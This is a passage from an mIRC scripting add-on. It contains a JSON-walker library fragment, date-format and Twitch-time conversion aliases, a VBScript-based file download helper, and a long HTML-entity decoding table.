  2765.   jfm_badd $1 walk:function(){var s=D(this),r=s._json.value,a=Array.prototype.slice.call(arguments),f=a.shift(),p=s._json.path.slice(0),t,m,i,k;while(a.length){t=A(r);m=String(a.shift());if(t!=='array'&&t!=='object')throw new Error('ILLEGAL_REFERENCE');if(f&&/^[~=]./.test(m)){i='~'===m.charAt(0);m=m.replace(/^[~=]\x20?/,'');if(t=='object'&&i){k=B(r);if(/^\d+$/.test(m)){m=parseInt(m,10);if(m>=k.length)throw new Error('FUZZY_INDEX_NOT_FOUND');m=k[m]}else if(!C(r,m)){m=m.toLowerCase();m=k.find(function(k){return m===k.toLowerCase()});if(m==undefined)throw new Error('FUZZY_MEMBER_NOT_FOUND')}}}if(!C(r,m))throw new Error('REFERENCE_NOT_FOUND');p.push(m);r=r[m]}return new H(s,{path:p,value:r})},
  2766.   jfm_badd $1 forEach:function(){var s=D(this),a=Array.prototype.slice.call(arguments),r=[],d=a[0]?Infinity:1;a.shift();function _(i,p,j){j=new H(s,{path:p,value:i});if(d!==Infinity&&a.length>1)j=j.walk.apply(j,a.slice(0));r.push(j)}function Z(i,p,c,t){t=A(i);p=p.slice(0);if(c>d)_(i,p);else if(t==='object')B(i).forEach(function(k,z){z=p.slice(0);z.push(k);Z(i[k],z,c+1)});else if(t==='array')i.forEach(function(v,k){z=p.slice(0);z.push(k);Z(v,z,c+1)});else _(i,p)}if(s.type()!=='object'&&s.type()!=='array')throw new Error('ILLEGAL_REFERENCE');Z(s._json.value,s._json.path.slice(0),1);return r},
  2767.   jfm_badd $1 type:function(){return A(D(this)._json.value)},
  2768.   jfm_badd $1 isContainer:function(){return(this.type()==="object"||this.type()==="array")},
  2769.   jfm_badd $1 pathLength:function(){return D(this)._json.path.length},
  2770.   jfm_badd $1 pathAtIndex:function(i){return D(this)._json.path[i]},
  2771.   jfm_badd $1 path:function(){var r='';D(this)._json.path.forEach(function(i){r+=(r?' ':'')+String(i).replace(/([\\ ])/g,function(c){return' '=== c?'\s':'\\'})});return r},
  2772.   jfm_badd $1 length:function(){var s=D(this),t=s.type();if(t==='string'||t==='array')return s._json.value.length;if(t==='object')return B(s._json.value).length;throw new Error('INVALID_TYPE')},
  2773.   jfm_badd $1 value:function(){return D(this)._json.value},
  2774.   jfm_badd $1 string:function(){return G(D(this)._json.value)},
  2775.   jfm_badd $1 debug:function(){var s=this,r={state:s._state,input:s._input,type:s._type,error:s._error,parse:s._parse,http:{url:s._http.url,method:s._http.method,headers:s._http.headers,data:s._http.data},isChild:s._isChild,json:s._json};if(s._type==="http"&&s._state==="done")r.http.response={status:s._http.response.status,statusText:s._http.response.statusText,headers:(s._http.response.getAllResponseHeaders()).split(/[\r\n]+/g),responseText:s._http.response.responseText};return G(r)}};
  2776.   jfm_badd $1 JSONCreate=function(t,i,p,s){s=new H();s._state='init';s._type=(t||'text').toLowerCase();s._parse=p===!1?!1:!0;if(s._type==='http'){if(!I){s._error='HTTP_NOT_FOUND';throw new Error('HTTP_NOT_FOUND')}s._state='http_pending';s._http.url=i}else{s._state='parse_pending';s._input=i}return s}}()
  2777. }
  2778.  
  2779. ; --
  2780.  
  2781. /*
  2782.  
  2783.     # CheckDateFormat alias coded by SReject - (thanks for support) #
  2784.  
  2785. */
  2786.  
  2787. alias wmm_cdate {
  2788.   if (!$1) || (!$isid) { return 0 }
  2789.   if ($regex($1,/^(?:[^a-zA-Z0-9]*(?:oo|yy|[zmdhHnstT])+)+$/gS)) { return 1 }
  2790.   return 0
  2791.   return
  2792.   :error | wmm_werror $scriptline $error | reseterror
  2793. }
  2794.  
  2795. ; --
  2796.  
  2797. /*
  2798.     # ConvertTwitchTime alias coded by SReject - (thanks for support) #
  2799.  
  2800.     ## Official Code Link: http://pastebin.com/gTrSLpJc ##
  2801. */
  2802.  
  2803. alias wmm_convertdate {
  2804.   if (!$1) || (!$isid) { return 0 }
  2805.   if ($regex($1-, /^(\d\d(?:\d\d)?)-(\d\d)-(\d\d)T(\d\d)\:(\d\d)\:(\d\d)(?:(?:\.\d\d\d)?Z|([-+])(\d\d):(\d+)|$)/i)) {
  2806.     var %m = $gettok(January February March April May June July August September October November December, $regml(2), 32)
  2807.     var %d = $ord($base($regml(3),10,10))
  2808.     var %o = +0
  2809.     if ($regml(0) > 6) && ($regml(7) isin -+) { var %o = $regml(7) $+ $calc($regml(8) * 3600 + $regml(9)) }
  2810.     var %t = $calc($ctime(%m %d $regml(1) $regml(4) $+ : $+ $regml(5) $+ : $+ $regml(6)) - %o)
  2811.     if ($asctime(zz) !== 0 && $regex($v1, /^([+-])(\d\d)(\d+)$/)) { var %o = $regml(1) $+ $calc($regml(2) * 3600 + $regml(3)) | var %t = $calc(%t + %o ) }
  2812.     return %t
  2813.   }
  2814.   else { return 0 }
  2815.   return
  2816.   :error | wmm_werror $scriptline $error | reseterror
  2817. }
  2818.  
  2819. ; ---
  2820.  
  2821. /*
  2822.     # Download alias coded by SReject - (thanks for support) #
  2823.  
  2824.     ## Official Code Link: http://hawkee.com/snippet/9318 ##
  2825. */
  2826.  
  2827. alias wmm_download {
  2828.   if ($isid) || (!$1) || (!$2) || (!$3) { return }
  2829.   if ($1 == -c) {
  2830.     var %callback = $gettok($1-,2,34)
  2831.     var %url = $gettok($gettok($1-,3,34),1,32)
  2832.     var %file = $gettok($1-,4,34)
  2833.     var %com = $gettok($gettok($1-,5,34),1,32)
  2834.     var %r = $iif($comerr,1,$com(%com).result)
  2835.  
  2836.     if ($com(%com)) { .comclose %com }
  2837.     if (%r == -1) { %callback 1 S_OK %url $qt(%file) }
  2838.   }
  2839.   elseif ($1 !== -c) {
  2840.     var %callback = $gettok($1-,1,34)
  2841.     var %url = $gettok($gettok($1-,2,34),1,32)
  2842.     var %file = $gettok($1-,3-,34)
  2843.     var %com = wmm_download $+ $wmm_random $+ .vbs
  2844.     var %s = $wmm_temp $+ %com
  2845.     var %n = $left(%com,-4)
  2846.  
  2847.     .fopen -ox %n $qt(%s)
  2848.  
  2849.     .fwrite -n %n On Error Resume Next
  2850.     .fwrite -n %n Set args = WScript.Arguments
  2851.     .fwrite -n %n Url = $qt(%url)
  2852.     .fwrite -n %n Dim xHttp: Set xHttp = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  2853.     .fwrite -n %n Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  2854.     .fwrite -n %n xHttp.Open "GET", Url, False
  2855.     .fwrite -n %n xHttp.Send
  2856.     .fwrite -n %n with bStrm
  2857.     .fwrite -n %n    .Type = 1
  2858.     .fwrite -n %n    .Mode = 3
  2859.     .fwrite -n %n    .Open
  2860.     .fwrite -n %n    .Write xHttp.ResponseBody
  2861.     .fwrite -n %n    .SavetoFile $qt(%file) $+ , 2
  2862.     .fwrite -n %n    .Close
  2863.     .fwrite -n %n End with
  2864.     .fwrite -n %n Err.Clear
  2865.     .fwrite -n %n Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile WScript.ScriptFullName, True
  2866.     .fwrite -n %n WScript.Quit(-1)
  2867.  
  2868.     .fclose %n
  2869.  
  2870.     .comopen %com WScript.Shell
  2871.     if ($lines(%s) !== 18 || $comerr || !$comcall(%com,wmm_download -c $qt(%callback) %url $qt(%file),run,1,bstr*,$qt(%s),uint,1,bool,true)) { goto error }
  2872.     return
  2873.   }
  2874.   :error
  2875.   if ($error) { wmm_werror $scriptline $error | reseterror }
  2876.   if ($com(%com)) { .comclose %com }
  2877. }
  2878.  
  2879. ; ---
  2880.  
  2881. /*
  2882.     # HTML2Ascii (Unicode) script coded by David Schor - (thanks for support) #
  2883.  
  2884.     ## GitHub Link: https://github.com/ds--/CodeArchive/blob/master/mSL/net/html2unicode.mrc ##
  2885. */
  2886.  
  2887. alias wmm_html2asc {
  2888.   if (!$isid) { return }
  2889.   if (!$hget(WMM_HTML)) { wmm_html_make }
  2890.   return $regsubex(~, $1, /&(.+);/Ug, $wmm_ht_get(\t))
  2891.   return
  2892.   :error | wmm_werror $scriptline $error | reseterror
  2893. }
  2894. alias -l wmm_ht_get {
  2895.   if (#x* iswm $1) { return $chr($base($mid($1, 3), 16, 10)) }
  2896.   elseif (#* iswm $1) { return $chr($mid($1, 2)) }
  2897.   return $hget(WMM_HTML, $hfind(WMM_HTML, $1, 1, R))
  2898.   return
  2899.   :error | wmm_werror $scriptline $error | reseterror
  2900. }
  2901. alias -l wmm_html_make {
  2902.   var %h = WMM_HTML
  2903.   hmake %h 3000
  2904.   hadd %h /^amp$/9 $chr($base(0026, 16, 10))
  2905.   hadd %h /^lt$/22 $chr($base(003C, 16, 10))
  2906.   hadd %h /^gt$/27 $chr($base(003E, 16, 10))
  2907.   hadd %h /^nbsp$/50 $chr($base(00A0, 16, 10))
  2908.   hadd %h /^iexcl$/52 $chr($base(00A1, 16, 10))
  2909.   hadd %h /^cent$/53 $chr($base(00A2, 16, 10))
  2910.   hadd %h /^pound$/54 $chr($base(00A3, 16, 10))
  2911.   hadd %h /^curren$/55 $chr($base(00A4, 16, 10))
  2912.   hadd %h /^yen$/56 $chr($base(00A5, 16, 10))
  2913.   hadd %h /^brvbar$/57 $chr($base(00A6, 16, 10))
  2914.   hadd %h /^sect$/58 $chr($base(00A7, 16, 10))
  2915.   hadd %h /^uml$/62 $chr($base(00A8, 16, 10))
  2916.   hadd %h /^copy$/63 $chr($base(00A9, 16, 10))
  2917.   hadd %h /^ordf$/65 $chr($base(00AA, 16, 10))
  2918.   hadd %h /^laquo$/66 $chr($base(00AB, 16, 10))
  2919.   hadd %h /^not$/67 $chr($base(00AC, 16, 10))
  2920.   hadd %h /^shy$/68 $chr($base(00AD, 16, 10))
  2921.   hadd %h /^reg$/69 $chr($base(00AE, 16, 10))
  2922.   hadd %h /^macr$/72 $chr($base(00AF, 16, 10))
  2923.   hadd %h /^deg$/74 $chr($base(00B0, 16, 10))
  2924.   hadd %h /^plusmn$/75 $chr($base(00B1, 16, 10))
  2925.   hadd %h /^sup2$/78 $chr($base(00B2, 16, 10))
  2926.   hadd %h /^sup3$/79 $chr($base(00B3, 16, 10))
  2927.   hadd %h /^acute$/80 $chr($base(00B4, 16, 10))
  2928.   hadd %h /^micro$/82 $chr($base(00B5, 16, 10))
  2929.   hadd %h /^para$/83 $chr($base(00B6, 16, 10))
  2930.   hadd %h /^middot$/84 $chr($base(00B7, 16, 10))
  2931.   hadd %h /^cedil$/87 $chr($base(00B8, 16, 10))
  2932.   hadd %h /^sup1$/89 $chr($base(00B9, 16, 10))
  2933.   hadd %h /^ordm$/90 $chr($base(00BA, 16, 10))
  2934.   hadd %h /^raquo$/91 $chr($base(00BB, 16, 10))
  2935.   hadd %h /^frac14$/92 $chr($base(00BC, 16, 10))
  2936.   hadd %h /^frac12$/93 $chr($base(00BD, 16, 10))
  2937.   hadd %h /^frac34$/95 $chr($base(00BE, 16, 10))
  2938.   hadd %h /^iquest$/96 $chr($base(00BF, 16, 10))
  2939.   hadd %h /^Agrave$/97 $chr($base(00C0, 16, 10))
  2940.   hadd %h /^Aacute$/98 $chr($base(00C1, 16, 10))
  2941.   hadd %h /^Acirc$/99 $chr($base(00C2, 16, 10))
  2942.   hadd %h /^Atilde$/100 $chr($base(00C3, 16, 10))
  2943.   hadd %h /^Auml$/101 $chr($base(00C4, 16, 10))
  2944.   hadd %h /^Aring$/102 $chr($base(00C5, 16, 10))
  2945.   hadd %h /^AElig$/104 $chr($base(00C6, 16, 10))
  2946.   hadd %h /^Ccedil$/105 $chr($base(00C7, 16, 10))
  2947.   hadd %h /^Egrave$/106 $chr($base(00C8, 16, 10))
  2948.   hadd %h /^Eacute$/107 $chr($base(00C9, 16, 10))
  2949.   hadd %h /^Ecirc$/108 $chr($base(00CA, 16, 10))
  2950.   hadd %h /^Euml$/109 $chr($base(00CB, 16, 10))
  2951.   hadd %h /^Igrave$/110 $chr($base(00CC, 16, 10))
  2952.   hadd %h /^Iacute$/111 $chr($base(00CD, 16, 10))
  2953.   hadd %h /^Icirc$/112 $chr($base(00CE, 16, 10))
  2954.   hadd %h /^Iuml$/113 $chr($base(00CF, 16, 10))
  2955.   hadd %h /^ETH$/114 $chr($base(00D0, 16, 10))
  2956.   hadd %h /^Ntilde$/115 $chr($base(00D1, 16, 10))
  2957.   hadd %h /^Ograve$/116 $chr($base(00D2, 16, 10))
  2958.   hadd %h /^Oacute$/117 $chr($base(00D3, 16, 10))
  2959.   hadd %h /^Ocirc$/118 $chr($base(00D4, 16, 10))
  2960.   hadd %h /^Otilde$/119 $chr($base(00D5, 16, 10))
  2961.   hadd %h /^Ouml$/120 $chr($base(00D6, 16, 10))
  2962.   hadd %h /^times$/121 $chr($base(00D7, 16, 10))
  2963.   hadd %h /^Oslash$/122 $chr($base(00D8, 16, 10))
  2964.   hadd %h /^Ugrave$/123 $chr($base(00D9, 16, 10))
  2965.   hadd %h /^Uacute$/124 $chr($base(00DA, 16, 10))
  2966.   hadd %h /^Ucirc$/125 $chr($base(00DB, 16, 10))
  2967.   hadd %h /^Uuml$/126 $chr($base(00DC, 16, 10))
  2968.   hadd %h /^Yacute$/127 $chr($base(00DD, 16, 10))
  2969.   hadd %h /^THORN$/128 $chr($base(00DE, 16, 10))
  2970.   hadd %h /^szlig$/129 $chr($base(00DF, 16, 10))
  2971.   hadd %h /^agrave$/130 $chr($base(00E0, 16, 10))
  2972.   hadd %h /^aacute$/131 $chr($base(00E1, 16, 10))
  2973.   hadd %h /^acirc$/132 $chr($base(00E2, 16, 10))
  2974.   hadd %h /^atilde$/133 $chr($base(00E3, 16, 10))
  2975.   hadd %h /^auml$/134 $chr($base(00E4, 16, 10))
  2976.   hadd %h /^aring$/135 $chr($base(00E5, 16, 10))
  2977.   hadd %h /^aelig$/136 $chr($base(00E6, 16, 10))
  2978.   hadd %h /^ccedil$/137 $chr($base(00E7, 16, 10))
  2979.   hadd %h /^egrave$/138 $chr($base(00E8, 16, 10))
  2980.   hadd %h /^eacute$/139 $chr($base(00E9, 16, 10))
  2981.   hadd %h /^ecirc$/140 $chr($base(00EA, 16, 10))
  2982.   hadd %h /^euml$/141 $chr($base(00EB, 16, 10))
  2983.   hadd %h /^igrave$/142 $chr($base(00EC, 16, 10))
  2984.   hadd %h /^iacute$/143 $chr($base(00ED, 16, 10))
  2985.   hadd %h /^icirc$/144 $chr($base(00EE, 16, 10))
  2986.   hadd %h /^iuml$/145 $chr($base(00EF, 16, 10))
  2987.   hadd %h /^eth$/146 $chr($base(00F0, 16, 10))
  2988.   hadd %h /^ntilde$/147 $chr($base(00F1, 16, 10))
  2989.   hadd %h /^ograve$/148 $chr($base(00F2, 16, 10))
  2990.   hadd %h /^oacute$/149 $chr($base(00F3, 16, 10))
  2991.   hadd %h /^ocirc$/150 $chr($base(00F4, 16, 10))
  2992.   hadd %h /^otilde$/151 $chr($base(00F5, 16, 10))
  2993.   hadd %h /^ouml$/152 $chr($base(00F6, 16, 10))
  2994.   hadd %h /^divide$/153 $chr($base(00F7, 16, 10))
  2995.   hadd %h /^oslash$/155 $chr($base(00F8, 16, 10))
  2996.   hadd %h /^ugrave$/156 $chr($base(00F9, 16, 10))
  2997.   hadd %h /^uacute$/157 $chr($base(00FA, 16, 10))
  2998.   hadd %h /^ucirc$/158 $chr($base(00FB, 16, 10))
  2999.   hadd %h /^uuml$/159 $chr($base(00FC, 16, 10))
  3000.   hadd %h /^yacute$/160 $chr($base(00FD, 16, 10))
  3001.   hadd %h /^thorn$/161 $chr($base(00FE, 16, 10))
  3002.   hadd %h /^yuml$/162 $chr($base(00FF, 16, 10))
  3003.   hadd %h /^Tab$/1 $chr($base(0009, 16, 10))
  3004.   hadd %h /^NewLine$/2 $chr($base(000A, 16, 10))
  3005.   hadd %h /^excl$/3 $chr($base(0021, 16, 10))
  3006.   hadd %h /^quot$/4 $chr($base(0022, 16, 10))
  3007.   hadd %h /^QUOT$/5 $chr($base(0022, 16, 10))
  3008.   hadd %h /^num$/6 $chr($base(0023, 16, 10))
  3009.   hadd %h /^dollar$/7 $chr($base(0024, 16, 10))
  3010.   hadd %h /^percnt$/8 $chr($base(0025, 16, 10))
  3011.   hadd %h /^AMP$/10 $chr($base(0026, 16, 10))
  3012.   hadd %h /^apos$/11 $chr($base(0027, 16, 10))
  3013.   hadd %h /^lpar$/12 $chr($base(0028, 16, 10))
  3014.   hadd %h /^rpar$/13 $chr($base(0029, 16, 10))
  3015.   hadd %h /^ast$/14 $chr($base(002A, 16, 10))
  3016.   hadd %h /^midast$/15 $chr($base(002A, 16, 10))
  3017.   hadd %h /^plus$/16 $chr($base(002B, 16, 10))
  3018.   hadd %h /^comma$/17 $chr($base(002C, 16, 10))
  3019.   hadd %h /^period$/18 $chr($base(002E, 16, 10))
  3020.   hadd %h /^sol$/19 $chr($base(002F, 16, 10))
  3021.   hadd %h /^colon$/20 $chr($base(003A, 16, 10))
  3022.   hadd %h /^semi$/21 $chr($base(003B, 16, 10))
  3023.   hadd %h /^LT$/23 $chr($base(003C, 16, 10))
  3024.   hadd %h /^nvlt$/24 $chr($base(003C, 16, 10)) $+ $chr($base(20D2, 16, 10))
  3025.   hadd %h /^equals$/25 $chr($base(003D, 16, 10))
  3026.   hadd %h /^bne$/26 $chr($base(003D, 16, 10)) $+ $chr($base(20E5, 16, 10))
  3027.   hadd %h /^GT$/28 $chr($base(003E, 16, 10))
  3028.   hadd %h /^nvgt$/29 $chr($base(003E, 16, 10)) $+ $chr($base(20D2, 16, 10))
  3029.   hadd %h /^quest$/30 $chr($base(003F, 16, 10))
  3030.   hadd %h /^commat$/31 $chr($base(0040, 16, 10))
  3031.   hadd %h /^lsqb$/32 $chr($base(005B, 16, 10))
  3032.   hadd %h /^lbrack$/33 $chr($base(005B, 16, 10))
  3033.   hadd %h /^bsol$/34 $chr($base(005C, 16, 10))
  3034.   hadd %h /^rsqb$/35 $chr($base(005D, 16, 10))
  3035.   hadd %h /^rbrack$/36 $chr($base(005D, 16, 10))
  3036.   hadd %h /^Hat$/37 $chr($base(005E, 16, 10))
  3037.   hadd %h /^lowbar$/38 $chr($base(005F, 16, 10))
  3038.   hadd %h /^UnderBar$/39 $chr($base(005F, 16, 10))
  3039.   hadd %h /^grave$/40 $chr($base(0060, 16, 10))
  3040.   hadd %h /^DiacriticalGrave$/41 $chr($base(0060, 16, 10))
  3041.   hadd %h /^fjlig$/42 $chr($base(0066, 16, 10)) $+ $chr($base(006A, 16, 10))
  3042.   hadd %h /^lcub$/43 $chr($base(007B, 16, 10))
  3043.   hadd %h /^lbrace$/44 $chr($base(007B, 16, 10))
  3044.   hadd %h /^verbar$/45 $chr($base(007C, 16, 10))
  3045.   hadd %h /^vert$/46 $chr($base(007C, 16, 10))
  3046.   hadd %h /^VerticalLine$/47 $chr($base(007C, 16, 10))
  3047.   hadd %h /^rcub$/48 $chr($base(007D, 16, 10))
  3048.   hadd %h /^rbrace$/49 $chr($base(007D, 16, 10))
  3049.   hadd %h /^NonBreakingSpace$/51 $chr($base(00A0, 16, 10))
  3050.   hadd %h /^Dot$/59 $chr($base(00A8, 16, 10))
  3051.   hadd %h /^die$/60 $chr($base(00A8, 16, 10))
  3052.   hadd %h /^DoubleDot$/61 $chr($base(00A8, 16, 10))
  3053.   hadd %h /^COPY$/64 $chr($base(00A9, 16, 10))
  3054.   hadd %h /^circledR$/70 $chr($base(00AE, 16, 10))
  3055.   hadd %h /^REG$/71 $chr($base(00AE, 16, 10))
  3056.   hadd %h /^strns$/73 $chr($base(00AF, 16, 10))
  3057.   hadd %h /^pm$/76 $chr($base(00B1, 16, 10))
  3058.   hadd %h /^PlusMinus$/77 $chr($base(00B1, 16, 10))
  3059.   hadd %h /^DiacriticalAcute$/81 $chr($base(00B4, 16, 10))
  3060.   hadd %h /^centerdot$/85 $chr($base(00B7, 16, 10))
  3061.   hadd %h /^CenterDot$/86 $chr($base(00B7, 16, 10))
  3062.   hadd %h /^Cedilla$/88 $chr($base(00B8, 16, 10))
  3063.   hadd %h /^half$/94 $chr($base(00BD, 16, 10))
  3064.   hadd %h /^angst$/103 $chr($base(00C5, 16, 10))
  3065.   hadd %h /^div$/154 $chr($base(00F7, 16, 10))
  3066.   hadd %h /^Amacr$/163 $chr($base(0100, 16, 10))
  3067.   hadd %h /^amacr$/164 $chr($base(0101, 16, 10))
  3068.   hadd %h /^Abreve$/165 $chr($base(0102, 16, 10))
  3069.   hadd %h /^abreve$/166 $chr($base(0103, 16, 10))
  3070.   hadd %h /^Aogon$/167 $chr($base(0104, 16, 10))
  3071.   hadd %h /^aogon$/168 $chr($base(0105, 16, 10))
  3072.   hadd %h /^Cacute$/169 $chr($base(0106, 16, 10))
  3073.   hadd %h /^cacute$/170 $chr($base(0107, 16, 10))
  3074.   hadd %h /^Ccirc$/171 $chr($base(0108, 16, 10))
  3075.   hadd %h /^ccirc$/172 $chr($base(0109, 16, 10))
  3076.   hadd %h /^Cdot$/173 $chr($base(010A, 16, 10))
  3077.   hadd %h /^cdot$/174 $chr($base(010B, 16, 10))
  3078.   hadd %h /^Ccaron$/175 $chr($base(010C, 16, 10))
  3079.   hadd %h /^ccaron$/176 $chr($base(010D, 16, 10))
  3080.   hadd %h /^Dcaron$/177 $chr($base(010E, 16, 10))
  3081.   hadd %h /^dcaron$/178 $chr($base(010F, 16, 10))
  3082.   hadd %h /^Dstrok$/179 $chr($base(0110, 16, 10))
  3083.   hadd %h /^dstrok$/180 $chr($base(0111, 16, 10))
  3084.   hadd %h /^Emacr$/181 $chr($base(0112, 16, 10))
  3085.   hadd %h /^emacr$/182 $chr($base(0113, 16, 10))
  3086.   hadd %h /^Edot$/183 $chr($base(0116, 16, 10))
  3087.   hadd %h /^edot$/184 $chr($base(0117, 16, 10))
  3088.   hadd %h /^Eogon$/185 $chr($base(0118, 16, 10))
  3089.   hadd %h /^eogon$/186 $chr($base(0119, 16, 10))
  3090.   hadd %h /^Ecaron$/187 $chr($base(011A, 16, 10))
  3091.   hadd %h /^ecaron$/188 $chr($base(011B, 16, 10))
  3092.   hadd %h /^Gcirc$/189 $chr($base(011C, 16, 10))
  3093.   hadd %h /^gcirc$/190 $chr($base(011D, 16, 10))
  3094.   hadd %h /^Gbreve$/191 $chr($base(011E, 16, 10))
  3095.   hadd %h /^gbreve$/192 $chr($base(011F, 16, 10))
  3096.   hadd %h /^Gdot$/193 $chr($base(0120, 16, 10))
  3097.   hadd %h /^gdot$/194 $chr($base(0121, 16, 10))
  3098.   hadd %h /^Gcedil$/195 $chr($base(0122, 16, 10))
  3099.   hadd %h /^Hcirc$/196 $chr($base(0124, 16, 10))
  3100.   hadd %h /^hcirc$/197 $chr($base(0125, 16, 10))
  3101.   hadd %h /^Hstrok$/198 $chr($base(0126, 16, 10))
  3102.   hadd %h /^hstrok$/199 $chr($base(0127, 16, 10))
  3103.   hadd %h /^Itilde$/200 $chr($base(0128, 16, 10))
  3104.   hadd %h /^itilde$/201 $chr($base(0129, 16, 10))
  3105.   hadd %h /^Imacr$/202 $chr($base(012A, 16, 10))
  3106.   hadd %h /^imacr$/203 $chr($base(012B, 16, 10))
  3107.   hadd %h /^Iogon$/204 $chr($base(012E, 16, 10))
  3108.   hadd %h /^iogon$/205 $chr($base(012F, 16, 10))
  3109.   hadd %h /^Idot$/206 $chr($base(0130, 16, 10))
  3110.   hadd %h /^imath$/207 $chr($base(0131, 16, 10))
  3111.   hadd %h /^inodot$/208 $chr($base(0131, 16, 10))
  3112.   hadd %h /^IJlig$/209 $chr($base(0132, 16, 10))
  3113.   hadd %h /^ijlig$/210 $chr($base(0133, 16, 10))
  3114.   hadd %h /^Jcirc$/211 $chr($base(0134, 16, 10))
  3115.   hadd %h /^jcirc$/212 $chr($base(0135, 16, 10))
  3116.   hadd %h /^Kcedil$/213 $chr($base(0136, 16, 10))
  3117.   hadd %h /^kcedil$/214 $chr($base(0137, 16, 10))
  3118.   hadd %h /^kgreen$/215 $chr($base(0138, 16, 10))
  3119.   hadd %h /^Lacute$/216 $chr($base(0139, 16, 10))
  3120.   hadd %h /^lacute$/217 $chr($base(013A, 16, 10))
  3121.   hadd %h /^Lcedil$/218 $chr($base(013B, 16, 10))
  3122.   hadd %h /^lcedil$/219 $chr($base(013C, 16, 10))
  3123.   hadd %h /^Lcaron$/220 $chr($base(013D, 16, 10))
  3124.   hadd %h /^lcaron$/221 $chr($base(013E, 16, 10))
  3125.   hadd %h /^Lmidot$/222 $chr($base(013F, 16, 10))
  3126.   hadd %h /^lmidot$/223 $chr($base(0140, 16, 10))
  3127.   hadd %h /^Lstrok$/224 $chr($base(0141, 16, 10))
  3128.   hadd %h /^lstrok$/225 $chr($base(0142, 16, 10))
  3129.   hadd %h /^Nacute$/226 $chr($base(0143, 16, 10))
  3130.   hadd %h /^nacute$/227 $chr($base(0144, 16, 10))
  3131.   hadd %h /^Ncedil$/228 $chr($base(0145, 16, 10))
  3132.   hadd %h /^ncedil$/229 $chr($base(0146, 16, 10))
  3133.   hadd %h /^Ncaron$/230 $chr($base(0147, 16, 10))
  3134.   hadd %h /^ncaron$/231 $chr($base(0148, 16, 10))
  3135.   hadd %h /^napos$/232 $chr($base(0149, 16, 10))
  3136.   hadd %h /^ENG$/233 $chr($base(014A, 16, 10))
  3137.   hadd %h /^eng$/234 $chr($base(014B, 16, 10))
  3138.   hadd %h /^Omacr$/235 $chr($base(014C, 16, 10))
  3139.   hadd %h /^omacr$/236 $chr($base(014D, 16, 10))
  3140.   hadd %h /^Odblac$/237 $chr($base(0150, 16, 10))
  3141.   hadd %h /^odblac$/238 $chr($base(0151, 16, 10))
  3142.   hadd %h /^OElig$/239 $chr($base(0152, 16, 10))
  3143.   hadd %h /^oelig$/240 $chr($base(0153, 16, 10))
  3144.   hadd %h /^Racute$/241 $chr($base(0154, 16, 10))
  3145.   hadd %h /^racute$/242 $chr($base(0155, 16, 10))
  3146.   hadd %h /^Rcedil$/243 $chr($base(0156, 16, 10))
  3147.   hadd %h /^rcedil$/244 $chr($base(0157, 16, 10))
  3148.   hadd %h /^Rcaron$/245 $chr($base(0158, 16, 10))
  3149.   hadd %h /^rcaron$/246 $chr($base(0159, 16, 10))
  3150.   hadd %h /^Sacute$/247 $chr($base(015A, 16, 10))
  3151.   hadd %h /^sacute$/248 $chr($base(015B, 16, 10))
  3152.   hadd %h /^Scirc$/249 $chr($base(015C, 16, 10))
  3153.   hadd %h /^scirc$/250 $chr($base(015D, 16, 10))
  3154.   hadd %h /^Scedil$/251 $chr($base(015E, 16, 10))
  3155.   hadd %h /^scedil$/252 $chr($base(015F, 16, 10))
  3156.   hadd %h /^Scaron$/253 $chr($base(0160, 16, 10))
  3157.   hadd %h /^scaron$/254 $chr($base(0161, 16, 10))
  3158.   hadd %h /^Tcedil$/255 $chr($base(0162, 16, 10))
  3159.   hadd %h /^tcedil$/256 $chr($base(0163, 16, 10))
  3160.   hadd %h /^Tcaron$/257 $chr($base(0164, 16, 10))
  3161.   hadd %h /^tcaron$/258 $chr($base(0165, 16, 10))
  3162.   hadd %h /^Tstrok$/259 $chr($base(0166, 16, 10))
  3163.   hadd %h /^tstrok$/260 $chr($base(0167, 16, 10))
  3164.   hadd %h /^Utilde$/261 $chr($base(0168, 16, 10))
  3165.   hadd %h /^utilde$/262 $chr($base(0169, 16, 10))
  3166.   hadd %h /^Umacr$/263 $chr($base(016A, 16, 10))
  3167.   hadd %h /^umacr$/264 $chr($base(016B, 16, 10))
  3168.   hadd %h /^Ubreve$/265 $chr($base(016C, 16, 10))
  3169.   hadd %h /^ubreve$/266 $chr($base(016D, 16, 10))
  3170.   hadd %h /^Uring$/267 $chr($base(016E, 16, 10))
  3171.   hadd %h /^uring$/268 $chr($base(016F, 16, 10))
  3172.   hadd %h /^Udblac$/269 $chr($base(0170, 16, 10))
  3173.   hadd %h /^udblac$/270 $chr($base(0171, 16, 10))
  3174.   hadd %h /^Uogon$/271 $chr($base(0172, 16, 10))
  3175.   hadd %h /^uogon$/272 $chr($base(0173, 16, 10))
  3176.   hadd %h /^Wcirc$/273 $chr($base(0174, 16, 10))
  3177.   hadd %h /^wcirc$/274 $chr($base(0175, 16, 10))
  3178.   hadd %h /^Ycirc$/275 $chr($base(0176, 16, 10))
  3179.   hadd %h /^ycirc$/276 $chr($base(0177, 16, 10))
  3180.   hadd %h /^Yuml$/277 $chr($base(0178, 16, 10))
  3181.   hadd %h /^Zacute$/278 $chr($base(0179, 16, 10))
  3182.   hadd %h /^zacute$/279 $chr($base(017A, 16, 10))
  3183.   hadd %h /^Zdot$/280 $chr($base(017B, 16, 10))
  3184.   hadd %h /^zdot$/281 $chr($base(017C, 16, 10))
  3185.   hadd %h /^Zcaron$/282 $chr($base(017D, 16, 10))
  3186.   hadd %h /^zcaron$/283 $chr($base(017E, 16, 10))
  3187.   hadd %h /^fnof$/284 $chr($base(0192, 16, 10))
  3188.   hadd %h /^imped$/285 $chr($base(01B5, 16, 10))
  3189.   hadd %h /^gacute$/286 $chr($base(01F5, 16, 10))
  3190.   hadd %h /^jmath$/287 $chr($base(0237, 16, 10))
  3191.   hadd %h /^circ$/288 $chr($base(02C6, 16, 10))
  3192.   hadd %h /^caron$/289 $chr($base(02C7, 16, 10))
  3193.   hadd %h /^Hacek$/290 $chr($base(02C7, 16, 10))
  3194.   hadd %h /^breve$/291 $chr($base(02D8, 16, 10))
  3195.   hadd %h /^Breve$/292 $chr($base(02D8, 16, 10))
  3196.   hadd %h /^dot$/293 $chr($base(02D9, 16, 10))
  3197.   hadd %h /^DiacriticalDot$/294 $chr($base(02D9, 16, 10))
  3198.   hadd %h /^ring$/295 $chr($base(02DA, 16, 10))
  3199.   hadd %h /^ogon$/296 $chr($base(02DB, 16, 10))
  3200.   hadd %h /^tilde$/297 $chr($base(02DC, 16, 10))
